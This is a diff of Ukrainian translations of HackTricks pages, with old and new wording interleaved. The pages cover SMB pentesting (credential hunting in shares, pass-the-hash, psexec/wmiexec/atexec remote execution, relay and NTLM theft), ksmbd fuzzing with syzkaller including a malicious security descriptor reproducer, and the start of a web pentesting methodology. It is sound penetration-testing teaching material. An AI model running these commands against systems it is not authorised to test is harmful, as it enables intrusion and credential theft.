(_Інформація з man-сторінки smbclient_)
### Пошук загальних папок домену
### Пошук спільних папок домену
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
@ -315,12 +315,12 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De
Особливо цікавими серед shares є файли з назвою **`Registry.xml`**, оскільки вони **можуть містити паролі** для користувачів, налаштованих з **autologon** через Group Policy. Або файли **`web.config`**, оскільки вони містять облікові дані.
> [!TIP]
> **SYSVOL share** доступний для читання всім автентифікованим користувачам у домені. Там ви можете **знайти** багато різних batch, VBScript, і PowerShell **скриптів**.\
> Вам слід **перевірити** **скрипти** всередині нього, оскільки там можна **знайти** конфіденційну інформацію, таку як **паролі**.
> The **SYSVOL share** є **доступною для читання** для всіх автентифікованих користувачів у домені. Там ви можете **знайти** багато різних batch, VBScript і PowerShell **скриптів**.\
> Ви повинні **перевірити** **скрипти** всередині неї, бо ви можете **знайти** конфіденційну інформацію, таку як **паролі**.
## Читання реєстру
## Зчитування реєстру
Ви можете бути в змозі **прочитати реєстр**, використовуючи знайдені облікові дані. Impacket **`reg.py`** дозволяє спробувати:
Ви можете мати змогу **зчитати реєстр** за допомогою знайдених облікових даних. Impacket **`reg.py`** дозволяє це спробувати:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -328,26 +328,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
```
## Post Exploitation
**Конфігурація за замовчуванням** **Samba** сервера зазвичай знаходиться в `/etc/samba/smb.conf` і може містити деякі **небезпечні налаштування**:
**Конфігурація за замовчуванням** сервера **Samba** зазвичай знаходиться в `/etc/samba/smb.conf` і може містити деякі **небезпечні налаштування**:
| **Setting** | **Description** |
| **Налаштування** | **Опис** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Дозволяє перераховувати доступні шари у поточному ресурсі? |
| `read only = no` | Забороняє створення та зміну файлів? |
| `browseable = yes` | Дозволяє перелічувати доступні шари у поточному шарі? |
| `read only = no` | Забороняє створення та модифікацію файлів? |
| `writable = yes` | Дозволяє користувачам створювати та змінювати файли? |
| `guest ok = yes` | Дозволяє підключатися до служби без використання пароля? |
| `enable privileges = yes` | Дотримуватися привілеїв, призначених конкретному SID? |
| `create mask = 0777` | Які права мають бути присвоєні новоствореним файлам? |
| `directory mask = 0777` | Які права мають бути присвоєні новоствореним каталогам? |
| `logon script = script.sh` | Який скрипт потрібно виконати при вході користувача? |
| `magic script = script.sh` | Який скрипт слід виконати, коли скрипт завершується? |
| `magic output = script.out` | Де має зберігатися вивід magic script? |
| `guest ok = yes` | Дозволяє підключатися до сервісу без використання пароля? |
| `enable privileges = yes` | Враховувати привілеї, призначені конкретному SID? |
| `create mask = 0777` | Які права мають бути призначені новоствореним файлам? |
| `directory mask = 0777` | Які права мають бути призначені новоствореним директоріям? |
| `logon script = script.sh` | Який скрипт має виконуватися під час входу користувача? |
| `magic script = script.sh` | Який скрипт має виконуватися при закритті скрипта? |
| `magic output = script.out` | Куди має зберігатися вивід magic script? |
Команда `smbstatus` дає інформацію про **сервер** та про те, **хто підключений**.
Команда `smbstatus` дає інформацію про **сервер** та про **хто підключений**.
## Аутентифікація за допомогою Kerberos
## Аутентифікація з використанням kerberos
Ви можете **аутентифікуватися** в **kerberos** за допомогою інструментів **smbclient** та **rpcclient**:
Ви можете **автентифікуватися** в **kerberos** за допомогою інструментів **smbclient** та **rpcclient**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
@ -356,7 +356,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec**
crackmapexec може виконувати команди **використовуючи** будь-який з **mmcexec, smbexec, atexec, wmiexec**, при цьому **wmiexec** є **методом за замовчуванням**. Ви можете вказати, який варіант хочете використовувати за допомогою параметра `--exec-method`:
crackmapexec може виконувати команди **зловживаючи** будь-яким із **mmcexec, smbexec, atexec, wmiexec**, причому **wmiexec** є **методом за замовчуванням**. Ви можете вказати, який варіант хочете використовувати, параметром `--exec-method`:
```bash
apt-get install crackmapexec
@ -380,8 +380,8 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
Обидва варіанти **створюють нову службу** (використовуючи _\pipe\svcctl_ через SMB) на машині жертви і використовують її для **запуску чогось** (**psexec** **завантажує** виконуваний файл на ADMIN$ share, а **smbexec** вказує на **cmd.exe/powershell.exe** і передає в аргументи payload —**file-less technique-**-).\
**Детальніше** про [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) та [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
Обидва варіанти **створять нову службу** (використовуючи _\pipe\svcctl_ через SMB) на машині жертви й використають її для **виконання чогось** (**psexec** завантажить виконуваний файл у шар ADMIN$, а **smbexec** вкаже на **cmd.exe/powershell.exe** і помістить у аргументи payload --**file-less technique-**-).\
**Детальніше** про [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)and [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
У **kali** він розташований у /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -390,19 +390,19 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
Використовуючи **параметр**`-k`, ви можете автентифікуватися через **kerberos** замість **NTLM**
Використовуючи **параметр**`-k`, ви можете аутентифікуватися за допомогою **kerberos** замість **NTLM**
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
Непомітно запустити командну оболонку без запису на диск або запуску нового сервісу, використовуючи DCOM через **port 135.**\
У **kali** він знаходиться у /usr/share/doc/python3-impacket/examples/
Непомітно виконати командний shell без звернення до диска або запуску нової служби, використовуючи DCOM через **port 135.**\
У **kali** він розташований на /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
Використовуючи **параметр**`-k` ви можете автентифікуватися за допомогою **kerberos** замість **NTLM**
Використовуючи **параметр**`-k` ви можете автентифікуватися через **kerberos** замість **NTLM**
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -411,23 +411,23 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
```
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
Виконує команди через Task Scheduler (використовуючи _\pipe\atsvc_ через SMB).\
У **kali** він знаходиться на /usr/share/doc/python3-impacket/examples/
Виконання команд через Task Scheduler (з використанням _\pipe\atsvc_ через SMB).\
У **kali** він знаходиться в /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
```
## Impacket довідник
## Довідник Impacket
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
### ksmbd attack surface та SMB2/SMB3 protocol fuzzing (syzkaller)
### ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller)
{{#ref}}
ksmbd-attack-surface-and-fuzzing-syzkaller.md
{{#endref}}
## **Bruteforce облікові дані користувачів**
## **Bruteforce облікових даних користувачів**
**Це не рекомендується — ви можете заблокувати обліковий запис, якщо перевищите максимально дозволену кількість спроб**
```bash
@ -436,31 +436,31 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
```
## SMB relay attack
Ця атака використовує Responder toolkit для **перехоплення SMB аутентифікаційних сесій** у внутрішній мережі та **пересилання** їх на **цільову машину**. Якщо аутентифікаційна **сесія успішна**, це автоматично відкриє вам **system** **shell**.\
Ця атака використовує Responder toolkit, щоб **capture SMB authentication sessions** у внутрішній мережі та **relays** їх на **target machine**. Якщо authentication **session is successful**, це автоматично відкриє вам **system** **shell**.\
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Бібліотека Windows URLMon.dll автоматично намагається аутентифікуватися на хості, коли сторінка намагається отримати доступ до вмісту через SMB, наприклад: `img src="\\10.10.10.10\path\image.jpg"`
Бібліотека Windows URLMon.dll автоматично намагається автентифікуватися на хості, коли сторінка намагається звернутися до вмісту через SMB, наприклад: `img src="\\10.10.10.10\path\image.jpg"`
This happens with the functions:
Це відбувається за допомогою функцій:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
Which are used by some browsers and tools (like Skype)
Які використовуються деякими браузерами та інструментами (наприклад, Skype)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
### SMBTrap з використанням MitMf
### SMBTrap using MitMf
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
## NTLM Theft
Схоже на SMB Trapping, розміщення шкідливих файлів на цільовій системі (наприклад через SMB) може спричинити спробу SMB-аутентифікації, що дозволяє перехопити хеш NetNTLMv2 за допомогою інструменту, наприклад Responder. Хеш можна потім зламати офлайн або використати в [SMB relay attack](#smb-relay-attack).
Подібно до SMB Trapping, розміщення шкідливих файлів на target system (наприклад через SMB) може спричинити спробу SMB authentication, що дозволяє перехопити NetNTLMv2 hash за допомогою інструменту, такого як Responder. Хеш потім можна crack offline або використати в an [SMB relay attack](#smb-relay-attack).
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)

View File

@ -1,53 +1,53 @@
# Поверхня атак ksmbd та fuzzing протоколу SMB2/SMB3 (syzkaller)
# ksmbd Attack Surface & SMB2/SMB3 Protocol Fuzzing (syzkaller)
{{#include ../../banners/hacktricks-training.md}}
## Огляд
Ця сторінка узагальнює практичні підходи для опрацювання та fuzzing Linux in-kernel SMB сервера (ksmbd) з використанням syzkaller. У фокусі — розширення поверхні атак протоколу через конфігурацію, побудова стейтфул harness'а, здатного ланцюжити SMB2 операції, генерування граматично валідних PDU, спрямовування мутацій у слабо охоплені гілки коду та використання можливостей syzkaller, таких як focus_areas і ANYBLOB. Хоча оригінальне дослідження перелічує конкретні CVE, тут ми наголошуємо на повторно використовувальній методології та конкретних фрагментах, які ви можете адаптувати до власних налаштувань.
Ця сторінка узагальнює практичні техніки для опрацювання та fuzzing Linux in-kernel SMB server (ksmbd) за допомогою syzkaller. Вона зосереджена на розширенні поверхні атаки протоколу через конфігурацію, побудові stateful harness, здатного ланцюжити SMB2 операції, генерації граматично валідних PDU, спрямуванні мутацій у слабко покриті ділянки коду та використанні можливостей syzkaller, таких як focus_areas та ANYBLOB. Хоча оригінальне дослідження перераховує конкретні CVE, тут ми підкреслюємо повторно використовувану методологію та конкретні фрагменти, які ви можете адаптувати до власного середовища.
Цільовий обсяг: SMB2/SMB3 поверх TCP. Kerberos і RDMA свідомо поза обсягом, щоб зберегти harness простим.
Target scope: SMB2/SMB3 over TCP. Kerberos and RDMA are intentionally out-of-scope to keep the harness simple.
---
## Розширення поверхні атак ksmbd через конфігурацію
За замовчуванням мінімальна конфігурація ksmbd залишає великі частини сервера неохопленими. Увімкніть наступні можливості, щоб прогнати сервер через додаткові парсери/обробники й досягти глибших гілок коду:
## Розширення поверхні атаки ksmbd через конфігурацію
За замовчуванням мінімальна конфігурація ksmbd залишає великі ділянки сервера неперевіреними. Увімкніть наступні можливості, щоб привести сервер через додаткові парсери/обробники і досягти глибших шляхів виконання коду:
- На глобальному рівні
- Global-level
- Durable handles
- Server multi-channel
- SMB2 leases
- На рівні шару (per-share-level)
- Oplocks (увімкнено за замовчуванням)
- Per-share-level
- Oplocks (on by default)
- VFS objects
Увімкнення цих опцій збільшує виконання в модулях, таких як:
- smb2pdu.c (парсинг/диспатч команд)
Увімкнення цього збільшує виконання в модулях, таких як:
- smb2pdu.c (command parsing/dispatch)
- ndr.c (NDR encode/decode)
- oplock.c (oplock request/break)
- smbacl.c (парсинг/примус дотримання ACL)
- smbacl.c (ACL parsing/enforcement)
- vfs.c (VFS ops)
- vfs_cache.c (lookup cache)
Примітки
- Точні опції залежать від вашого дистрибутива та userspace ksmbd (ksmbd-tools). Перегляньте /etc/ksmbd/ksmbd.conf та секції per-share, щоб увімкнути durable handles, leases, oplocks та VFS objects.
- Multi-channel і durable handles змінюють state machines і час життя об’єктів, що часто виявляє UAF/refcount/OOB баги під конкуренцією.
- Точні опції залежать від ksmbd userspace у вашому дистрибутиві (ksmbd-tools). Перегляньте /etc/ksmbd/ksmbd.conf та per-share секції, щоб увімкнути durable handles, leases, oplocks та VFS objects.
- Multi-channel і durable handles змінюють state machines і час життя ресурсів, часто виявляючи UAF/refcount/OOB баги під конкуренцією.
---
## Аутентифікація та налаштування обмеження швидкості для fuzzing
SMB3 потребує валідної сесії. Реалізація Kerberos у harnessах додає складності, тому для fuzzing краще використовувати NTLM/guest:
## Налаштування аутентифікації та обмеження швидкості для fuzzing
SMB3 потребує валідної сесії. Реалізація Kerberos у harness ускладнює процес, тому для fuzzing віддавайте перевагу NTLM/guest:
- Дозвольте guest доступ і встановіть map to guest = bad user, щоб невідомі користувачі спадали на GUEST.
- Приймайте NTLMv2 (за потреби напатчіть політику, якщо відключено). Це спрощує handshake, водночас зачіпаючи SMB3 кодові шляхи.
- Вимкніть суворі перевірки кредитів під час експериментів (post-hardening для CVE-2024-50285 зробив simultaneous-op crediting суворішим). Інакше rate-limits можуть відкидати fuzzed послідовності занадто рано.
- Збільшіть max connections (наприклад, до 65536), щоб уникнути ранніх відмов під час високопродуктивного fuzzing.
- Дозвольте guest доступ і встановіть map to guest = bad user, щоб невідомі користувачі падали на GUEST.
- Приймайте NTLMv2 (запатчте політику, якщо вимкнено). Це зберігає простий handshake, водночас задіюючи SMB3 code paths.
- Вимкніть жорсткі credit checks під час експериментів (post-hardening for CVE-2024-50285 зробив simultaneous-op crediting суворішим). Інакше rate-limits можуть відхиляти fuzzed послідовності занадто рано.
- Збільшіть max connections (наприклад, до 65536), щоб уникнути ранніх відхилень під час high-throughput fuzzing.
Увага: ці пом’якшення призначені тільки для полегшення fuzzing. Не використовуйте такі налаштування в production.
Увага: ці послаблення призначені тільки для полегшення fuzzing. Не використовуйте такі налаштування в production.
---
## Stateful Harness: Extract Resources and Chain Requests
SMB є stateful: багато запитів залежать від ідентифікаторів, що повертаються попередніми відповідями (SessionId, TreeID, FileID pairs). Ваш harness має парсити відповіді та повторно використовувати ID в межах одного програми, щоб досягти глибоких обробників (наприклад, smb2_create → smb2_ioctl → smb2_close).
SMB є stateful: багато запитів залежать від ідентифікаторів, що повертаються у попередніх відповідях (SessionId, TreeID, FileID pairs). Ваш harness має парсити відповіді і повторно використовувати ID в межах однієї програми, щоб досягти глибоких обробників (наприклад, smb2_create → smb2_ioctl → smb2_close).
Приклад фрагмента для обробки буфера відповіді (пропускаючи +4B NetBIOS PDU length) та кешування ID:
```c
@ -76,13 +76,13 @@ break;
}
```
Поради
- Підтримуйте один процес fuzzer, який спільно використовує автентифікацію/стан: це дає кращу стабільність і покриття з ksmbds global/session tables. syzkaller все ще інжектує concurrency, позначаючи ops як async і повторно запускаючи їх внутрішньо.
- Syzkallers експериментальна reset_acc_state може скинути global state, але може призвести до значного уповільнення. Віддавайте перевагу стабільності і сфокусованому fuzzing замість цього.
- Підтримуйте один процес fuzzer, що спільно використовує автентифікацію/стан: краща стабільність і покриття з ksmbds global/session tables. syzkaller все ще вводить конкурентність, позначаючи операції як async, і повторно запускає їх внутрішньо.
- Експериментальна функція Syzkallers reset_acc_state може скинути глобальний стан, але може спричинити значне уповільнення. Надавайте перевагу стабільності та зосередьтеся на fuzzing замість цього.
---
## Генерація SMB2 на основі граматики (валідні PDUs)
Побудуйте граматику для fuzzer на основі структур Microsoft Open Specifications SMB2, щоб ваш генератор створював структурно валідні PDUs, які систематично доходять до dispatchers та IOCTL handlers.
## Граматично керована генерація SMB2 (Valid PDUs)
Перетворіть структури Microsoft Open Specifications SMB2 у fuzzer grammar, щоб ваш генератор створював структурно валідні PDUs, які систематично досягають dispatchers та IOCTL handlers.
Приклад (SMB2 IOCTL request):
```
@ -107,12 +107,12 @@ Input array[int8]
Output array[int8]
} [packed]
```
Цей стиль забезпечує правильні розміри/зсуви структур і значно покращує покриття порівняно з blind mutation.
This style forces correct structure sizes/offsets and dramatically improves coverage versus blind mutation.
---
## Directed Fuzzing With focus_areas
Використовуйте syzkallers experimental focus_areas, щоб надавати більшу вагу конкретним функціям/файлам, які наразі мають слабке покриття. Приклад JSON:
Використовуйте експериментальну опцію focus_areas у syzkaller, щоб надати більшої ваги конкретним функціям/файлам, які наразі мають слабке покриття. Приклад JSON:
```json
{
"focus_areas": [
@ -122,9 +122,9 @@ Output array[int8]
]
}
```
Це допомагає створювати валідні ACLs, які зачіпають арифметичні/переповнювальні шляхи в smbacl.c. Наприклад, зловмисний Security Descriptor з надмірно великим dacloffset відтворює integer-overflow.
Це допомагає сконструювати валідні ACLs, які зачіпають арифметичні/overflow шляхи в smbacl.c. Наприклад, шкідливий Security Descriptor з надмірно великим dacloffset відтворює integer-overflow.
Конструктор репродуцера (мінімальний Python):
Генератор репродуцера (мінімальний Python):
```python
def build_sd():
import struct
@ -143,8 +143,8 @@ return bytes(sd)
```
---
## Подолання плато покриття за допомогою ANYBLOB
syzkallers anyTypes (ANYBLOB/ANYRES) дозволяють зводити складні структури до blobs, які універсально мутують. Створіть новий корпус із публічних SMB pcaps і перетворіть payloads на syzkaller programs, що викликають ваш pseudo-syscall (наприклад, syz_ksmbd_send_req):
## Подолання плато покриття з ANYBLOB
syzkallers anyTypes (ANYBLOB/ANYRES) дозволяють згорнути складні структури в blobs, що мутують загально. Створіть новий corpus із публічних SMB pcaps і перетворіть payloads у syzkaller програми, що викликають ваш pseudo-syscall (наприклад, syz_ksmbd_send_req):
```bash
# Extract SMB payloads to JSON
# tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
@ -167,14 +167,14 @@ f.write(
f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
)
```
Це дає пришвидшений старт дослідженню і може негайно спричинити UAFs (наприклад, у ksmbd_sessions_deregister), одночасно підвищуючи покриття на кілька відсотків.
Це прискорює початок дослідження і може одразу викликати UAFs (наприклад, у ksmbd_sessions_deregister), одночасно підвищуючи покриття на кілька відсотків.
---
## Санітизери: не тільки KASAN
- KASAN залишається основним детектором для помилок у heap (UAF/OOB).
## Санітизери: поза KASAN
- KASAN залишається основним детектором помилок в heap (UAF/OOB).
- KCSAN часто дає false positives або data races низької серйозності в цьому таргеті.
- UBSAN/KUBSAN можуть виявляти помилки оголошених меж, які KASAN пропускає через семантику індексів масиву. Приклад:
- UBSAN/KUBSAN може виявляти declared-bounds помилки, які KASAN пропускає через array-index semantics. Приклад:
```c
id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
struct smb_sid {
@ -182,24 +182,24 @@ __u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS];
__le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */
} __attribute__((packed));
```
Setting num_subauth = 0 призводить до in-struct OOB read of sub_auth[-1], яке перехоплюється перевірками declared-bounds UBSAN.
Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught by UBSANs declared-bounds checks.
---
## Примітки щодо пропускної здатності та паралелізму
- Один процес fuzzer (shared auth/state) зазвичай значно стабільніший для ksmbd і все ще виявляє races/UAFs завдяки внутрішньому async executor syzkaller.
- На кількох VM загалом можна досягти сотень SMB commands/second. Покриття на рівні функцій приблизно ~60% для fs/smb/server і ~70% для smb2pdu.c досяжне, хоча покриття переходів станів недооцінюється такими метриками.
- A single fuzzer process (shared auth/state) tends to be significantly more stable for ksmbd and still surfaces races/UAFs thanks to syzkallers internal async executor.
- With multiple VMs, you can still hit hundreds of SMB commands/second overall. Function-level coverage around ~60% of fs/smb/server and ~70% of smb2pdu.c is attainable, though state-transition coverage is under-represented by such metrics.
---
## Практичний чекліст
- Увімкніть durable handles, leases, multi-channel, oplocks і VFS objects у ksmbd.
- Дозвольте guest і map-to-guest; приймайте NTLMv2. Видаліть credit limits і підніміть max connections для стабільності fuzzer.
- Збудуйте stateful harness, який кешує SessionId/TreeID/FileIDs і ланцюжить create → ioctl → close.
- Використовуйте граматику для SMB2 PDUs, щоб зберегти структурну валідність.
- Використовуйте focus_areas, щоб підсилити вагу слабко покритих функцій (наприклад, шляхи в smbacl.c як smb_check_perm_dacl).
- Сійте ANYBLOB з реальних pcaps, щоб прорвати плато; пакуйте seeds з syz-db для повторного використання.
- Запускайте з KASAN + UBSAN; акуратно триажуйте звіти UBSAN declared-bounds.
## Практичний чеклист
- Увімкніть durable handles, leases, multi-channel, oplocks та VFS objects у ksmbd.
- Allow guest and map-to-guest; accept NTLMv2. Patch out credit limits and raise max connections for fuzzer stability.
- Build a stateful harness that caches SessionId/TreeID/FileIDs and chains create → ioctl → close.
- Use a grammar for SMB2 PDUs to maintain structural validity.
- Use focus_areas to overweight weakly-covered functions (e.g., smbacl.c paths like smb_check_perm_dacl).
- Seed with ANYBLOB from real pcaps to break plateaus; pack seeds with syz-db for reuse.
- Run with KASAN + UBSAN; triage UBSAN declared-bounds reports carefully.
---

View File

@ -1,12 +1,12 @@
# 80,443 - Pentesting Web Methodology
# 80,443 - Pentesting Веб-методологія
{{#include ../../banners/hacktricks-training.md}}
## Базова інформація
## Основна інформація
Веб-сервіс є найбільш **поширеним і масштабним сервісом**, і існує багато **різних типів вразливостей**.
Веб-сервіс є **найпоширенішим та наймасштабнішим сервісом**, і існує багато **різних типів вразливостей**.
**Порт за замовчуванням:** 80 (HTTP), 443(HTTPS)
**Порт за замовчуванням:** 80 (HTTP), 443 (HTTPS)
```bash
PORT STATE SERVICE
80/tcp open http
@ -17,55 +17,55 @@ PORT STATE SERVICE
nc -v domain.com 80 # GET / HTTP/1.0
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
```
### Керівництво з Web API
### Web API Guidance
{{#ref}}
web-api-pentesting.md
{{#endref}}
## Підсумок методології
## Methodology summary
> У цій методології ми припускаємо, що ви збираєтеся атакувати один домен (або піддомен) і тільки його. Тому цю методологію слід застосовувати до кожного виявленого домену, піддомену або IP з невизначеним веб-сервером у межах сфери тестування.
> У цій методології ми припускаємо, що ви збираєтеся атакувати один домен (або subdomain) і лише його. Отже, ви повинні застосувати цю методологію до кожного виявленого domain, subdomain або IP з невизначеним веб-сервером в межах scope.
- [ ] Почніть з **виявлення** **технологій**, які використовуються веб‑сервером. Шукайте **трюки**, які варто мати на увазі під час подальшого тесту, якщо вам вдасться ідентифікувати технологію.
- [ ] Чи є **відомі вразливості** для версії цієї технології?
- [ ] Використовується якась **well known tech**? Є якісь **корисні трюки** для отримання додаткової інформації?
- [ ] Почніть з **ідентифікації** **technologies**, які використовує веб-сервер. Шукайте **tricks**, які варто пам'ятати протягом решти тесту, якщо ви зможете успішно ідентифікувати tech.
- [ ] Чи є які-небудь **known vulnerability** для версії технології?
- [ ] Чи використовується якась **well known tech**? Чи є якісь **useful trick** для витягнення додаткової інформації?
- [ ] Чи є якийсь **specialised scanner** для запуску (наприклад, wpscan)?
- [ ] Запустіть **general purposes scanners**. Ви ніколи не знаєте, чи знайдуть вони щось або якусь цікаву інформацію.
- [ ] Почніть з **initial checks**: **robots**, **sitemap**, **404** помилка та **SSL/TLS scan** (якщо HTTPS).
- [ ] Почніть spidering веб-сторінки: настав час знайти всі можливі файли, папки та параметри, що використовуються. Також перевірте на наявність особливих знахідок.
- [ ] _Зверніть увагу, що щоразу, коли під час brute-forcing або spidering виявляється нова директорія, її слід обробити за допомогою spidering._
- [ ] **Directory Brute-Forcing**: Спробуйте brute force всі виявлені папки в пошуку нових **файлів** та **директорій**.
- [ ] _Зверніть увагу, що щоразу, коли під час brute-forcing або spidering виявляється нова директорія, її слід піддати Brute-Forced._
- [ ] **Backups checking**: Перевірте, чи можна знайти **резервні копії** виявлених файлів, додаючи поширені розширення для резервних копій.
- [ ] **Brute-Force parameters**: Спробуйте знайти приховані параметри.
- [ ] Після того як ви виявили всі можливі endpoints, які приймають user input, перевірте всі види вразливостей, пов'язаних з ними.
- [ ] Запустіть **general purposes scanners**. Ніколи не знаєш, чи вони щось знайдуть або виявлять цікаву інформацію.
- [ ] Почніть з **initial checks**: **robots**, **sitemap**, **404** error та **SSL/TLS scan** (якщо HTTPS).
- [ ] Почніть **spidering** веб-сторінки: настав час **find** всі можливі **files, folders** та **parameters being used.** Також перевірте на **special findings**.
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._
- [ ] **Directory Brute-Forcing**: Спробуйте brute force всі виявлені папки в пошуках нових **files** та **directories**.
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
- [ ] **Backups checking**: Перевірте, чи можна знайти **backups** **виявлених файлів**, додаючи загальні розширення для резервних копій.
- [ ] **Brute-Force parameters**: Спробуйте **find hidden parameters**.
- [ ] Після того, як ви **identified** всі можливі **endpoints**, що приймають **user input**, перевірте їх на всі види пов'язаних **vulnerabilities**.
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
## Server Version (Vulnerable?)
### Ідентифікація
### Identify
Перевірте, чи існують **відомі вразливості** для **версії** сервера, яка запущена.\
The **HTTP headers and cookies of the response** можуть бути дуже корисними для **ідентифікації** **технологій** та/або **версії**, що використовуються. **Nmap scan** може визначити версію сервера, але корисними також можуть бути інструменти [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
Перевірте, чи існують **known vulnerabilities** для версії сервера, яка працює.\
**HTTP headers and cookies of the response** можуть бути дуже корисними для **identify** **technologies** та/або **version**, що використовуються. **Nmap scan** може визначити версію сервера, але також можуть бути корисні інструменти [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
Шукайте **для** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
Шукати **для** [**вразливостей веб-застосунку** **версії**](../../generic-hacking/search-exploits.md)
### **Перевірте, чи є WAF**
### **Перевірити наявність WAF**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
### Трюки для веб-технологій
### Трюки з веб-технологій
Деякі **tricks** для **finding vulnerabilities** у різних відомих **technologies**, що використовуються:
Деякі **трюки** для **знаходження вразливостей** у різних відомих **технологіях**, що використовуються:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@ -103,27 +103,26 @@ webanalyze -host https://google.com -crawl 2
- [**Sitecore**](sitecore/index.html)
_Врахуйте, що **той самий домен** може використовувати **різні технології** на різних **портах**, **папках** та **піддоменах**._\
Якщо веб-застосунок використовує будь-яку відому **технологію/платформу зі списку вище** або **будь-яку іншу**, не забудьте **пошукати в Інтернеті** нові трюки (і повідомте мені!).
Якщо веб-застосунок використовує будь-яку відому **технологію/платформу**, перераховану вище, або будь-яку іншу, не забувайте **шукати в Інтернеті** нові трюки (і повідомте мене!).
### Перевірка вихідного коду
### Source Code Review
Якщо **вихідний код** застосунку доступний на **github**, окрім виконання вами власного **White box test** додатку, є **деяка інформація**, яка може бути **корисною** для поточного **Black-Box testing**:
- Чи існує **Change-log or Readme or Version** файл або щось із **version info accessible** через веб?
- Як і де зберігаються **credentials**? Чи є якийсь (доступний?) **file** з credentials (usernames or passwords)?
- Чи зберігаються **passwords** у **plain text**, **encrypted** або який **hashing algorithm** використовується?
- Чи використовується якийсь **master key** для шифрування чогось? Який **algorithm** використовується?
- Чи можете ви **отримати доступ до будь-якого з цих файлів**, експлуатуючи якусь вразливість?
- Чи є якась **цікава інформація в github** (вирішені й невирішені) **issues**? Або в **commit history** (можливо якийсь **password був доданий у старий commit**)?
Якщо **вихідний код** застосунку доступний на **github**, окрім виконання вами власного **White box test** застосунку, є **деяка інформація**, яка може бути **корисною** для поточного **Black-Box testing**:
- Чи є **Change-log or Readme or Version** файл або щось з **інформацією про версію**, доступне через web?
- Як і де зберігаються **облікові дані**? Чи є якийсь (доступний?) **файл** з обліковими даними (імена користувачів або паролі)?
